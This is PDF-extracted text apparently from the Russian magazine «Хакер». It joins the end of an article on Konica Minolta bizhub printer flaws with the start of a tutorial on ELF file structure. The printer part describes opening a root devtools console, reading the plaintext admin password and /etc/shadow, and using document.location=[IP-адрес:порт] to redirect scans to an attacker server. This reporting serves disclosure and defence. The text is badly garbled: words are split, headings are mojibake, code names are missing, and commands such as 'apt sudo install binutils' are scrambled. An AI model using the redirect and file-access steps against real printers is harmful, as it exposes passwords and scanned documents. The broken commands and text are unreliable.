Веб-при ложе ние в МФУ Konica Minolta (иллюс тра ция с сай та sec-
consult.com)

Ес ли в этот момент под клю чить к прин теру внеш нюю кла виату ру (все МФУ
дан ной серии осна щены USB-пор том) и поп робовать стан дар тные сочета ния
кла виш, то мож но убе дить ся, что боль шинс тво из них занесе но в «чер ный
спи сок» и не сра баты вает. Одна ко, если нажать кла вишу F12, на экра не
откро ется кон соль раз работ чика Chromium — эту фун кцию соз датели соф та
для прин тера почему-то забанить забыли.

Кон соль раз работ чиков

Те перь мож но открыть вклад ку Filesystem, нажать ссыл ку Add folder
to workspace и добавить в кон соль раз работ чика любую пап ку в фай ловой
сис теме прин тера, и эта пап ка будет дос тупна на чте ние и запись, пос коль ку
Chromium работа ет в этой ОС с при виле гиями поль зовате ля root. На иллюс- 
тра ции выше иссле дова тели из SEC Consult добави ли в рабочее окру жение
кон соли раз работ чика пап ку ./var/log/nginx/html/

ÏÎÕÈÙÅÍÈÅ ÈÍÔÎÐÌÀÖÈÈ

В упо мяну той пап ке хра нит ся файл с име нем , в котором содер- 

жится пароль адми нис тра тора для тер минала прин тера и веб-интерфей са,
при чем в виде обыч ного тек ста.

ADMINPASS

Па роль адми на Konica Minolta хра нит ся в pain text (иллюс тра ция с сай та
sec-consult.com)

Ана логич ным обра зом мож но получить дос туп и к дру гим объ ектам в фай- 
ловой сис теме прин тера, нап ример к фай лу , где соб рана

информа ция о паролях для учет ных записей поль зовате лей. Содер жимое
фай ла зашиф ровано с помощью биб лиотеч ной фун кции  и потому
при желании может быть рас шифро вано без осо бого тру да.

/etc/shadow

crypt

Дос туп к /etc/shadow (иллюс тра ция с сай та sec-consult.com)

Все это говорит о том, что раз работ чики встро енно го соф та для аппа ратов
Konica Minolta не слиш ком заботи лись о наз начении пра виль ных раз решений
для фай лов и папок в исполь зуемой ими ОС.

С исполь зовани ем пол ного дос тупа к фай ловой сис теме МФУ зло умыш- 
ленник может реали зовать нес коль ко видов атак. Если прин тер работа ет
в какой-либо орга низа ции, на его дис плей мож но вывес ти фей ковое окно
авто риза ции для сбо ра паролей от поль зователь ских учет ных записей.
Еще мож но отправ лять копии всех отска ниро ван ных докумен тов в общую пап- 
ку на SMB-сер вере, отку да впос ледс твии их нет рудно заб рать, если зло- 
умыш ленни ки име ют дос туп к сети пред при ятия или обо рудо ванию.

Ис сле дова тели, в час тнос ти, пред лага ют такой сце нарий. Если зло дей
кон тро лиру ет сер вер или шлюз в сети, к которой под клю чен прин тер, он
может запус тить на нем свое веб-при ложе ние и с помощью коман ды

 в кон соли раз работ чика наз начить

его в качес тве при ложе ния по умол чанию (откры вает ся при нажатии на кноп ку
ска ниро вания докумен та). На сле дующем рисун ке показа но такое под дель- 
ное при ложе ние, соз данное спе циалис тами SEC Consult, — на пер вый взгляд
его невоз можно отли чить от стан дар тно го диало гово го окна, демонс три- 
руемо го прин тером.

document.location=[IP-адрес:порт]

Под дель ное диало говое окно ска ниро вания докумен та (иллюс тра ция
с сай та sec-consult.com)

Все отска ниро ван ные на таком ском про мети рован ном МФУ докумен ты будут
попадать в рас шарен ную пап ку на сер вере, отку да впос ледс твии их без тру да
ска чают зло умыш ленни ки.

ÂÛÂÎÄÛ

Сог ласно пред став ленной иссле дова теля ми информа ции, уяз вимос ти под- 
верже ны 46 моделей МФУ Konica Minolta bizhub, а количес тво зат ронутых
устрой ств исчисля ется сот нями тысяч по все му миру. Инци дент был впер вые
выяв лен в 2019 году, и экспер ты сво евре мен но опо вес тили изго тови телей
обо рудо вания о сво ей наход ке. Уяз вимость с получе нием дос тупа к фай ловой
сис теме прин тера обоз начили как CVE-2022-29586, воз можность запус ка
Chromium с пра вами root — CVE-2022-29587, а пароли, хра нящи еся в откры- 
том виде в фай ловой сис теме, — CVE-2022-29588.

Konica Minolta выпус тила патч для про шив ки сво их устрой ств, но с момен та
обна руже ния уяз вимос тей (2019 год) до момен та пуб ликации све дений о них
прош ло без малого три года. Экспер ты SEC Consult утвер жда ют, что
основной при чиной такой мед литель нос ти ста ла пан демия COVID-19: в МФУ
Konica Minolta отсутс тву ет цен тра лизо ван ная сис тема авто мати чес кой уста- 
нов ки обновле ний, поэто му для накаты вания пат ча необ ходимо физичес кое
при сутс твие сер висно го инже нера. Пос коль ку в пери од пан демии очень мно- 
гие ком пании переш ли на уда лен ку, быс тро обно вить про шив ку устрой ств
на тер ритории заказ чика во мно гих стра нах ста ло поп росту невоз можно.
По этой же при чине очень мно гие МФУ дан ного про изво дите ля все еще уяз- 
вимы перед подоб ными видами атак — сер висные инже неры Konica Minolta
посети ли еще не все отда лен ные угол ки нашей пла неты.

В любом слу чае самый прос той и надеж ный спо соб защиты — отклю чить
под дер жку внеш них USB-кла виатур в нас трой ках прин тера. Как бы то ни было,
перед нами — один из доволь но ред ких слу чаев, ког да в безопас ности слож- 
ного тех ничес кого устрой ства обна ружи вает ся серь езная брешь, выз ванная
архи тек турны ми проб лемами, преж де все го исполь зовани ем проп риетар ным
соф том стан дар тных ком понен тов ОС для орга низа ции интерфей са с поль- 
зовате лем. Вто рая важ ная при чина воз никно вения уяз вимос ти — раз работ- 
чики уде ляли недос таточ но вни мания пра вам и раз решени ям дос тупа к кри- 
тичес ки важ ным объ ектам фай ловой сис темы. Ну и усу губи ло проб лему
отсутс твие цен тра лизо ван ной сис темы обновле ния про шивок в МФУ Konica
Minolta — из-за это го исправ ление най ден ных оши бок очень рас тянулось
во вре мени.

mailto:valentin@holmogorov.ru
https://sec-consult.com/
https://sec-consult.com/blog/detail/someone-call-the-patch-manager/
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ELF-ФАЙЛОВELF-ФАЙЛОВ

Евгений Дроботун
Постоянный автор «Хакера»

ВЗЛОМ

Ес ли в мире Windows исполня емые фай лы пред став лены
в фор мате Portable Executable (PE), то в Linux эта роль отве- 
дена фай лам в фор мате Executable and Linkable Format (ELF).
Сегод ня мы заг лянем внутрь таких фай лов, нем ного поис- 
сле дуем их струк туру и узна ем, как они устро ены.

Сра зу отме чу, что в отли чие от Windows в Linux от рас ширения фай ла
не зависит прак тичес ки ничего (за сов сем неболь шим исклю чени ем). Тип
и фор мат фай ла опре деля ется его внут ренним содер жимым и наличи ем тех
или иных атри бутов, поэто му фай лы в фор мате Executable and Linkable Format
могут иметь любое рас ширение.

×ÒÎ ÍÀÌ ÏÎÍÀÄÎÁÈÒÑß

Во обще, мож но позави довать людям, оби тающим в мире Linux, — как пра- 
вило, в сис теме «из короб ки» идет боль шое чис ло ути лит и прог рамм,
которые в Windows необ ходимо где-то искать и уста нав ливать допол нитель- 
но, да еще и не всег да бес плат но. В нашем слу чае для ана лиза ELF-фай лов
в Linux при сутс тву ет впол не сос тоятель ный арсе нал встро енных средств
и ути лит:

 — с помощью этой ути литы мож но прак тичес ки пол ностью прос- 

матри вать все пота енные мес та ELF-фай лов в удо бочи таемом виде;

• readelf

 — прос той прос мот рщик фай лов в шес тнад цатерич ном пред- 

став лении (конеч но, до  из мира Windows ему далеко, но, во-пер вых,

он при сутс тву ет в сис теме по умол чанию, а во-вто рых, дела ет это совер- 
шенно бес плат но);

• hexdump

hiew

 — с помощью этой извес тной ути литы мож но уви деть име на всех

импорти руемых (или экспор тиру емых) фун кций, а так же биб лиотек,
из которых эти фун кции импорти рова ны, наз вания сек ций и еще мно го
чего инте рес ного;

• strings

 — поз воля ет выводить име на раз деля емых биб лиотек, из которых

импорти руют ся те или иные фун кции, исполь зуемые иссле дуемой прог- 
раммой;

• ldd

 — может показы вать таб лицу имен из сос тава отла доч ной информа- 

ции, которая добав ляет ся в ELF-фай лы при их ком пиляции (эта отла доч ная
информа ция с помощью коман ды  может быть уда лена из фай ла, и в
этом слу чае ути лита nm ничем не поможет);

• nm

strip

 — спо соб на вывес ти информа цию и содер жимое всех эле мен- 
тов иссле дуемо го фай ла, в том чис ле и в дизас сем бли рован ном виде.

• objdump

Часть перечис ленно го (кро ме hexdump и ldd) вхо дит в сос тав пакета 
. Если это го пакета в тво ей сис теме нет, его лег ко уста новить. К при- 

меру, в Ubuntu это выг лядит сле дующим обра зом:

GNU
Binutils

apt sudo install binutils 

В прин ципе, имея все перечис ленное, мож но уже прис тупать к ана лизу
и иссле дова нию ELF-фай лов без прив лечения допол нитель ных средств.
Для боль шего удобс тва и наг ляднос ти мож но добавить к нашему инс тру мен- 
тарию извес тный в кру гах реверс-инже неров дизас сем блер  в вер сии

 (этой вер сии для наших целей будет более чем дос таточ но, хотя
ник то не зап реща ет вос поль зовать ся вер сиями Home или Pro, если есть воз- 
можность за них зап латить).

IDA
Freeware

Ана лиз заголов ка ELF-фай ла в IDA Freeware

Так же неп лохо было бы исполь зовать вмес то hexdump что-то поудоб нее, нап- 
ример  или . Пер вый hex-редак тор — дос той ная аль тер- 
натива Hiew для Linux (в том чис ле и бла года ря воз можнос ти исполь зовать
в нем боль шое количес тво шаб лонов для раз личных типов фай лов, сре ди них
и шаб лон для пар синга ELF-фай лов). Одна ко он небес плат ный (сто имость
лицен зии начина ется с 49,95 дол лара, при этом есть 30-днев ный три аль ный
пери од).

010 Editor wxHex Editor

Ана лиз заголов ка ELF-фай ла в 010 Editor

Го воря о допол нитель ных инс тру мен тах, которые облегча ют ана лиз ELF-фай- 
лов, нель зя не упо мянуть Python-пакет . Исполь зуя этот пакет, мож но
писать Python-скрип ты для ана лиза и модифи кации не толь ко ELF-фай лов,
но и фай лов  и . Ска чать и уста новить этот пакет получит ся тра дици- 
онным для Python-пакетов спо собом:

lief

PE MachO

pip lief install 

ÏÎÄÎÏÛÒÍÛÅ ÝÊÇÅÌÏËßÐÛ

В Linux (да и во мно гих дру гих сов ремен ных UNIX-подоб ных опе раци онных
сис темах) фор мат ELF исполь зует ся в нес коль ких типах фай лов.

 — содер жит все необ ходимое для соз дания сис- 
темой обра за про цес са и запус ка это го про цес са. В общем слу чае
это инс трук ции и дан ные. Так же в фай ле может при сутс тво вать опи сание
необ ходимых раз деля емых объ ектных фай лов, а так же сим воль ная и отла- 
доч ная информа ция. Исполня емый файл может быть позици онно зависи- 
мым (в этом слу чае он гру зит ся всег да по одно му и тому же адре су,
для 32-раз рядных прог рамм обыч но это , для 64-раз рядных —

) и позици онно незави симым исполня емым фай лом (PIE —
Position Independent Execution или ).
В этом слу чае адрес заг рузки фай ла может менять ся при каж дой заг рузке.
При пос тро ении позици онно незави симо го исполня емо го фай ла исполь- 
зуют ся такие же прин ципы, как и при пос тро ении раз деля емых объ ектных
фай лов.

• Èñ ïîëíÿ åìûé ôàéë

0x8048000
0x400000

PIC — Position Independent Code

 — содер жит инс трук ции и дан ные, при этом они

могут быть ста тичес ки свя заны с дру гими объ ектны ми фай лами, в резуль- 
тате чего получа ется раз деля емый объ ектный или исполня емый файл.
К это му типу отно сят ся объ ектные фай лы ста тичес ких биб лиотек (как пра- 
вило, для ста тичес ких биб лиотек имя начина ется с lib и при меня ется рас- 
ширение ), одна ко, как мы уже говори ли, рас ширение в Linux прак- 
тичес ки ничего не опре деля ет. В слу чае ста тичес ких биб лиотек это прос то
дань тра диции, а работос пособ ность биб лиоте ки будет обес печена
с любым име нем и любым рас ширени ем.

• Ïå ðåìå ùàåìûé ôàéë

*.a

 — содер жит инс трук ции и дан ные,
может быть свя зан с дру гими переме щаемы ми фай лами или раз деля емы- 
ми объ ектны ми фай лами, в резуль тате чего будет соз дан новый объ ектный
файл. Такие фай лы могут выпол нять фун кции раз деля емых биб лиотек (по
ана логии с DLL-биб лиоте ками Windows). При этом в момент запус ка прог- 
раммы на выпол нение опе раци онная сис тема динами чес ки свя зыва ет эту
раз деля емую биб лиоте ку с исполня емым фай лом прог раммы и соз дает ся
исполня емый образ при ложе ния. Опять же тра дици онно раз деля емые
биб лиоте ки име ют рас ширение  (от англий ско го Shared Object).

• Ðàç äåëÿ åìûé îáú åêòíûé ôàéë

*.so
 — файл, который содер жит образ памяти того

или ино го про цес са на момент его завер шения. В опре делен ных ситу- 
ациях ядро может соз давать файл с обра зом памяти ава рий но завер- 
шивше гося про цес са. Этот файл так же соз дает ся в фор мате ELF, одна ко
мы о такого рода фай лах говорить не будем, пос коль ку задача иссле дова- 
ния дам пов и содер жимого памяти дос таточ но объ емна и тре бует отдель- 
ной статьи.

• Ôàéë äàì ïà ïàìÿòè

Для наших изыс каний нам желатель но иметь все воз можные вари анты
исполня емых фай лов из перечис ленных выше, чем мы сей час и зай мем ся.

Äåëàåì èñïîëíÿåìûå ôàéëû

Не будем выдумы вать что-то свер хориги наль ное, а оста новим ся на клас- 
сичес ком хел ловор лде на С:

#include <stdio.h>
     int main(int argc, char* argv[]) {

 printf("Hello world");
  return 0;
}

Ком пилиро вать это дело мы будем с помощью GCC. Сов ремен ные вер сии
Linux, как пра вило, 64-раз рядные, и вхо дящие в их сос тав по умол чанию
средс тва раз работ ки (в том чис ле и ком пилятор GCC) генери руют 64-раз- 
рядные при ложе ния. Мы в сво их иссле дова ниях не будем отдель но вни кать
в 32-раз рядные ELF-фай лы (по боль шому сче ту отли чий от 64-раз рядных
ELF-фай лов в них не очень мно го) и основные уси лия сос редото чим имен но
на 64-раз рядных вер сиях прог рамм. Если у тебя воз никнет желание поэк спе- 
римен тировать с 32-раз рядны ми фай лами, то при ком пиляции в GCC нуж но
добавить опцию , при этом, воз можно, пот ребу ется уста новить биб- 
лиоте ку gcc-multilib. Сде лать это мож но при мер но вот так:

-m32

sudo apt-get install gcc-multilib 

Итак, назовем наш хел ловорлд  (кста ти, здесь как раз один из нем- 

ногих слу чаев, ког да в Linux рас ширение име ет зна чение) и нач нем
с исполня емо го позици онно зависи мого кода:

example.c

gcc -no-pie example.c -o example_no_pie 

Как ты уже догадал ся, опция  как раз и говорит ком пилято ру соб рать
не позици онно незави симый код.

-no-pie

Во обще, если говорить пра виль но, то GCC — это не сов сем ком пилятор.
Это ком плексная ути лита, которая в зависи мос ти от рас ширения вход ного
фай ла и опций вызыва ет нуж ный ком пилятор или ком понов щик с соот ветс тву- 
ющи ми вход ными дан ными. При чем из С или дру гого высоко уров невого язы- 
ка сна чала исходник тран сли рует ся в ассем блер ный код, а уже затем все
это окон чатель но пре обра зует ся в объ ектный код и собира ется в нуж ный нам
ELF-файл.

В целом мож но выделить четыре эта па работы GCC:
преп роцес сирова ние;•
тран сля ция в ассем блер ный код;•
пре обра зова ние ассем блер ного кода в объ ектный;•
ком понов ка объ ектно го кода.•

Что бы пос мотреть на про межу точ ный резуль тат, к при меру в виде ассем- 
блер ного кода, исполь зуй в GCC опцию :-S

gcc  -S -masm=intel example.c 

Об рати вни мание на два момен та. Пер вый — мы в дан ном слу чае не зада ем
имя выход ного фай ла с помощью опции  (GCC сам опре делит его

из исходно го, добавив рас ширение , что и озна чает при сутс твие в фай ле

ассем блер ного кода). Вто рой момент — опция , которая
говорит о том, что ассем блер ный код в выход ном фай ле необ ходимо генери- 
ровать с исполь зовани ем син такси са Intel (по умол чанию будет син таксис
AT&T, мне же, как и, навер ное, боль шинс тву, син таксис Intel бли же). Так же
в этом слу чае опция  не име ет смыс ла, пос коль ку ассем блер ный код

в любом слу чае будет оди нако вый, а перено симость обес печива ется на эта- 
пе получе ния объ ектно го фай ла и сбор ки прог раммы.

-o
*.s

-masm=intel

-no-pie

На выходе получим файл  с таким вот содер жимым (пол ностью

весь файл показы вать не будем, что бы не занимать мно го мес та):

example.s

  .file "example.c"
  .intel_syntax noprefix
 .text
   .section .rodata
.LC0:
  .string "Hello world"
 .text
   .globl main
   .type main, @function
main:
.LFB0:
 .cfi_startproc
 endbr64
   push rbp
  .cfi_def_cfa_offset 16
   .cfi_offset 6, -16
   mov rbp, rsp
  .cfi_def_cfa_register 6
   lea rdi, .LC0[rip]
   call puts@PLT
   mov eax, 0
 ...

Об рати вни мание на стро ку  — это вызов сиш ной фун кции
. Нес мотря на то что в исходни ке мы при мени ли фун кцию ,

ком пилятор самос тоятель но про вел неболь шую опти миза цию и заменил ее
, пос коль ку в  мы не исполь зовали какие-либо спе цифи като- 

ры фор матиро вания вывода стро ки, а  работа ет быс трее, чем 

.

call puts@PLT
puts() printf()

puts() printf()
puts() printf(

)
В целом поэтап ная работа GCC при ком пиляции фай ла  пред- 

став лена в виде схе мы на рисун ке.
exmple.c

Эта пы про цес са ком пиляции фай ла example.c

Ис поль зуя опции ,  и , мож но оста новить про цесс ком пиляции в нуж- 

ном мес те и зафик сировать резуль тат каж дого эта па в виде выход ного фай ла.

-E -S -c

Да лее сде лаем позици онно незави симый исполня емый ELF-файл (здесь
все прос то и никаких допол нитель ных опций не нуж но):

gcc example.c -o example 

Так же для раз нооб разия сто ит написать хел ловорлд на ассем бле ре с исполь- 
зовани ем сис темных вызовов Linux, а не фун кций из сиш ных биб лиотек.
Исполь зуем для это го . Сов сем недав но 

 (прав да, под Windows) и разоб рались, что это такое. Сегод ня при меним
получен ные зна ния в Linux. Для прос тоты возь мем при мер прог раммы

, которая идет в ком плек те с Fasm:

Fasm мы уже обра щались к это му
язы ку

hello64.asm

   format ELF64 executable 3

  segment readable executable

 entry $

    mov edx, msg_size ; размер строки
   lea rsi, [msg]
   mov edi, 1        ; Номер стандартного потока вывода stdout
   mov eax, 1        ; Код вызова системной функции sys_write

syscall
   xor edi, edi      ; Код возврата из системной функции sys_exit
   mov eax, 60       ; Код вызова системной функции sys_exit

syscall

  segment readable writeable

   msg db 'Hello world!', 0xA
  msg_size = $-msg      ; Длина выводимой строки

Ском пилиру ем это все с помощью Flat Assembler:

fasm hello64.asm example_asm 

На выходе получим позици онно зависи мый исполня емый файл, который
не исполь зует фун кции из сто рон них биб лиотек.

Äåëàåì ïåðåìåùàåìûé ôàéë è ðàçäåëÿåìóþ áèáëèîòåêó

Для переме щаемо го или раз деля емо го (в виде динами чес кой биб лиоте ки)
ELF-фай ла необ ходимо нем ножко изме нить наш хел ловорлд:

#include <stdio.h>
   extern int hello_world_function() {

 printf("Hello world\n");
  return 0;
};

На зовем этот исходник, к при меру,  и ском пилиру ем (без лин- 

ковки) с при мене нием опции :

exmple_lib.c
-c

gcc -c example_lib.c -o example_lib.o 

Да лее напишем и выпол ним в тер минале сле дующее:

ar rc libstatic_example.a example_lib.o 

Ес ли ты погуг лишь наз начение ути литы ar, то уви дишь, что это архи ватор. Так
сло жилось, что по сво ему пря мому пред назна чению (соз давать архи вы
из фай лов) он при меня ется край не ред ко, а вот для соз дания ста тичес ки при- 
лино ковы ваемых биб лиотек — поч ти всег да. Дело в том, что ста тичес кие биб- 
лиоте ки (те самые, с рас ширени ем  и пре фик сом lib в име ни фай ла) —
это не что иное, как архив, сос тоящий из нес коль ких ском пилиро ван ных (без
лин ковки) ELF-фай лов, а так же информа ции об индекса ции этих фай лов
для быс тро го поис ка нуж ных фун кций при общей лин ковке при ложе ния. Кста- 
ти, про индекси ровать нашу биб лиоте ку мож но такой вот коман дой:

*.a

ranlib libstatic_example.a 

Итак, с переме щаемым ELF разоб рались, теперь сде лаем раз деля емый.
Возь мем уже готовый ском пилиро ван ный без лин ковки объ ектный файл

 и скор мим его GCC с опци ей :example_lib.o -shared

gcc -shared example_lib.o -o libdynamic_example.so 

Пос коль ку Linux в слу чае необ ходимос ти ищет биб лиоте ки в спе циаль но
отве ден ных катало гах, то получив ший ся в резуль тате файл нуж но сло жить
в какой-либо из этих катало гов, к при меру  или :/usr/lib /lib

sudo cp libdynamic_example.so /usr/lib 

Те перь нуж но про верить работос пособ ность наших биб лиотек. Для это го
напишем прог рамму, которая будет вызывать фун кцию

 из этих биб лиотек:hello_world_function()

 int hello_world_function();
     int main(int argc, char* argv[]) {

    int return_code = hello_world_function();
  return return_code;
}

Ском пилиру ем ее со ста тичес кой биб лиоте кой:

gcc example_ext_func.c lib_static_example.a -o example_static 

И сде лаем то же самое с динами чес кой биб лиоте кой:

 gcc example_ext_func.c -ldynamic_example -o example_dynamic 

Об рати вни мание, что при ком пиляции с раз деля емой биб лиоте кой не ука- 
зыва ется ее пре фикс lib, а так же рас ширение и пред варя ется все это опци ей

.-l
Те перь у нас есть образцы прак тичес ки всех воз можных вари антов ELF-

фай лов и мы можем прис тупить к иссле дова ниям устрой ства ELF-фай лов раз- 
личных типов.

Продолжение статьи →

https://www.gnu.org/software/binutils/
https://ru.wikipedia.org/wiki/IDA
https://hex-rays.com/ida-free/
https://www.sweetscape.com/
https://www.wxhexeditor.org/home.php
https://pypi.org/project/lief/
https://ru.wikipedia.org/wiki/Portable_Executable
http://www.cilinder.be/docs/next/NeXTStep/3.3/nd/DevTools/14_MachO/MachO.htmld/index.html
https://en.wikipedia.org/wiki/Position-independent_code#cite_note-RedHat_PIE-2
https://flatassembler.net/
https://xakep.ru/2022/01/21/flat-assembler/


АНАТОМИЯ ЭЛЬФОВ
РАЗБИРАЕМСЯ

С ВНУТРЕННИМ УСТРОЙСТВОМ ELF-ФАЙЛОВ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÇÀÃËßÄÛÂÀÅÌ ÂÍÓÒÐÜ ELF-ÔÀÉËÀ

ELF-файл сос тоит из заголов ка и дан ных, которые вклю чают в себя область
так называ емых заголов ков прог рамм, область заголов ков сек ций и самих
сек ций. В пос ледних как раз и содер жатся код, дан ные и все осталь ное,
необ ходимое для исполь зования это го ELF-фай ла по наз начению. Струк- 
тура 64-раз рядно го ELF-фай ла схе матич но показа на на рисун ке ниже.

Об щая струк тура 64-раз рядно го ELF-фай ла

При сутс твие заголов ка и сек ций с кодом, дан ными и всем осталь ным
для ELF-фай лов обя затель но, тог да как одновре мен ное наличие заголов ков
прог рамм и заголов ков сек ций — нет. В фай ле могут одновре мен но при сутс- 
тво вать обе эти области с заголов ками прог рамм и сек ций либо одна из них.
Чуть поз же мы раз берем ся, от чего это зависит.

Спе цифи кацию фор мата ELF-фай лов мож но взять , а отли чия 64-
раз рядных «эль фов» от 32-раз рядных пос мотреть .

здесь
вот здесь

Çàãîëîâîê ELF-ôàéëà

Как мы уже выяс нили, любой ELF-файл начина ется с заголов ка, который
пред став ляет собой струк туру, содер жащую информа цию о типе фай ла, его
раз ряднос ти, типе архи тек туры, вер сии  (Application Binary Interface), а так- 
же о том, где в фай ле искать все осталь ное. Фор мат струк тур заголов ка
как для 32-раз рядных, так и для 64-раз рядных ELF-фай лов (как, впро чем,
и фор маты всех осталь ных струк тур ELF-фай лов) мож но пос мотреть в фай ле 

.

ABI

/
usr/include/elf.h

Пер вые 16 байт заголов ка (мас сив ) слу жат для иден тифика ции

ELF-фай ла. Пер вые четыре бай та — это магичес кая кон стан та, сос тоящая
из бай та , за которым идут ASCII-коды сим волов E, L и F. По наличию этих

бай тов заг рузчик Linux (или, к при меру, ути лита le) опре деля ет, что
перед ним имен но ELF-файл (в PE-фай лах Windows ана логич ную фун кцию
выпол няет ком бинация из ASCII-кодов сим волов M и Z). Сле дующие в этом
мас сиве бай ты в фай ле  обоз нача ются такими кон стан тами:

e_ident

0x7f

elf.h
 — байт опре деля ет раз рядность ELF-фай ла (зна чение 

соот ветс тву ет 32 раз рядам, зна чение  — 64);
• EI_CLASS 0x01

0x02
 — зна чение это го бай та опре деля ет 

дан ных при раз мещении их в памяти (Little Endian или Big Endian). Архи тек- 
тура x86 исполь зует раз мещение бай тов Little Endian, поэто му зна чение
это го бай та будет рав но ;

• EI_DATA по рядок сле дова ния бай тов

0x01
 — вер сия спе цифи кации ELF-фор мата. Кор рек тное зна чение

в нас тоящее вре мя — ;
• EI_VERSION

0x01
 и  опре деля ют вер сию дво ично го интерфей са

и опе раци онную сис тему, для которой откомпи лиро ван файл. Для Linux
пер вый из этих двух бай тов обыч но име ет зна чение  или , вто- 
рой — . Общую спе цифи кацию ABI (так называ емую ABI System V)
мож но взять , рас ширение этой спе цифи кации для архи тек туры
i386 (это все, что каса ется 32-раз рядных ELF-фай лов) лежит . Рас- 
ширение для x86-64 (это для 64-раз рядных прог рамм) — ;

• EI_OSABI EI_ABIVERSION

0x00 0x03
0x00

от сюда
здесь

тут
 в нас тоящее вре мя не несет никакой наг рузки и запол нено

нулевы ми зна чени ями (в мес тах с индекса ми от 9 по 15).
• EI_PAD

Да лее пос ле мас сива  рас положе ны сле дующие поля:e_ident
 — зна чение это го поля, как мож но пред положить, опре деля ет тип

ELF-фай ла (име ются в виду те типы, о которых мы говори ли перед соз- 
дани ем при меров для нашего иссле дова ния). Некото рые инте ресу ющие
нас в пер вую оче редь зна чения это го поля:

• e_type

 — исполня емый файл (зна чение рав но ). Дан ное зна- 
чение исполь зует ся толь ко для позици онно зависи мых исполня емых
ELF-фай лов (нап ример, тех, которые были ском пилиро ваны GCC
с опци ей );

• ET_EXEC 0x02

-no-pie
 — переме щаемый файл (зна чение в этом слу чае — );• ET_REL 0x01
 — раз деля емый объ ектный файл (зна чение рав но ). Дан- 

ное зна чение харак терно как для динами чес ки под клю чаемых биб- 
лиотек (тех самых, которые обыч но име ют рас ширение ), так и для
позици онно незави симых исполня емых фай лов. Как они раз лича ются,
мы обсу дим чуть поз же;

• ET_DYN 0x03

*.so

 — зна чени ем это го поля опре деля ется архи тек тура,
для которой собс твен но и соз дан ELF-файл. Пос коль ку мы в пер вую оче- 
редь говорим об архи тек туре x86 в 64-раз рядном исполне нии, то зна- 
чение это го поля будет  (рав но ). Понят но, что мож но
встре тить и дру гое зна чение, нап ример  (для 32-раз рядно го слу-
чая архи тек туры x86, рав но ) или, к при меру,  (для про цес- 
соров ARM и рав ное );

• e_machine

EM_X86_64 0x42
EM_386

0x03 EM_ARM
0x28

 — дуб лиру ет зна чение бай та  из мас сива
;

• e_version EI_VERSION
e_dent

 — точ ка вхо да в ELF-файл, с которой начина ется выпол нение
прог раммы. Для позици онно зависи мых фай лов здесь лежит абсо лют ный
вир туаль ный адрес начала выпол нения прог раммы, для позици онно
незави симо го кода сюда пишет ся сме щение отно ситель но вир туаль ного
адре са начала обра за ELF-фай ла, заг ружен ного в память;

• e_entry

 — сме щение начала заголов ков прог рамм (обра ти вни мание:
здесь, в отли чие от точ ки вхо да, сме щение отно ситель но начала фай ла,
а не вир туаль ный адрес);

• e_phoff

 — сме щение начала заголов ков сек ций (так же отно ситель но
начала фай ла);

• e_shoff

 — это поле содер жит фла ги, спе цифич ные для кон крет ной архи- 
тек туры, для которой пред назна чен файл. В нашем слу чае (име ется в виду
архи тек тура x86) поле име ет зна чение ;

• e_flags

0x00
 — раз мер заголов ка ELF-фай ла (для 32-раз рядно го он

равен 52 бай там, для 64-раз рядно го — 64 бай там);
• e_ehsize

 — раз мер одной записи в раз деле заголов ков прог рамм
(раз мер одно го заголов ка);

• e_phentsize

 — чис ло записей в раз деле заголов ков прог рамм (чис ло
заголов ков прог рамм);

• e_phnum

 — раз мер одной записи в раз деле заголов ков сек ций (раз- 
мер одно го заголов ка);

• e_shentsize

 — чис ло записей в раз деле заголов ков сек ций (чис ло заголов- 
ков прог рамм);

• e_shnum

 — это поле содер жит индекс (то есть поряд ковый номер
в раз деле заголов ков сек ций) заголов ка одной из сек ций, которая называ- 
ется . Эта сек ция содер жит име на всех осталь ных сек ций ELF-
фай ла в кодиров ке ASCII с завер шающим нулем.

• e_shstrndx

.shstrtab

Что бы пос мотреть на заголо вок ELF-фай ла воочию, вос поль зуем ся ути литой
readelf (здесь опция  ука зыва ет, что необ ходимо выводить пол ные стро ки,
без огра ниче ния в 80 сим волов в стро ке, а опция  говорит, что вывес ти

нуж но имен но заголо вок):

-W
-h

 readelf -W -h example_asm 

На выходе получим сле дующую кар тину.

Вы вод заголов ка ELF-фай ла с помощью readelf

Так же пос мотреть на заголо вок ELF-фай ла мож но с помощью любого шес- 
тнад цатерич ного редак тора (к при меру, на рисун ке с hex-редак тором 010
Editor выделен заголо вок ELF-фай ла с нашим хел ловор лдом на ассем бле ре)
или прив лечь к это му делу «Иду» (на рисун ке выше вид но заголо вок это го же
фай ла).

На Python мож но написать прос той скрипт (с исполь зовани ем lief),
который может вывес ти как заголо вок пол ностью, так и отдель ные его эле- 
мен ты:

 import lief

  elf_object = lief.parse('example_asm')
  header = elf_object.header

print(header)

# Отдельно выведем точку входа
  print('Entry point: %08x' % header.entrypoint)

Ну и наконец, мож но написать в тер минале (в дан ном слу чае информа ции
будет нес коль ко мень ше по срав нению с readelf):

objdump -f example_asm 

Ре зуль тат работы objdump: вывод информа ции о заголов ке ELF-фай ла

Продолжение статьи →

https://uclibc.org/docs/elf.pdf
https://uclibc.org/docs/elf-64-gen.pdf
https://ru.wikipedia.org/wiki/%D0%94%D0%B2%D0%BE%D0%B8%D1%87%D0%BD%D1%8B%D0%B9_%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D1%84%D0%B5%D0%B9%D1%81_%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9
https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D1%80%D1%8F%D0%B4%D0%BE%D0%BA_%D0%B1%D0%B0%D0%B9%D1%82%D0%BE%D0%B2
https://uclibc.org/docs/SysV-ABI.pdf
https://uclibc.org/docs/psABI-i386.pdf
https://uclibc.org/docs/psABI-x86_64.pdf


АНАТОМИЯ ЭЛЬФОВ
РАЗБИРАЕМСЯ

С ВНУТРЕННИМ УСТРОЙСТВОМ ELF-ФАЙЛОВ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÑÅÊÖÈÎÍÍÎÅ ÏÐÅÄÑÒÀÂËÅÍÈÅ ELF-ÔÀÉËÎÂ

Код и дан ные в ELF-фай ле логичес ки раз делены на сек ции, которые пред- 
став ляют собой непере сека ющиеся смеж ные бло ки, рас положен ные в фай ле
друг за дру гом без про межут ков. У сек ций нет опре делен ной общей струк- 
туры: в каж дой сек ции орга низа ция раз мещения дан ных или кода зависит
от ее наз начения. Более того, некото рые сек ции вооб ще могут не иметь
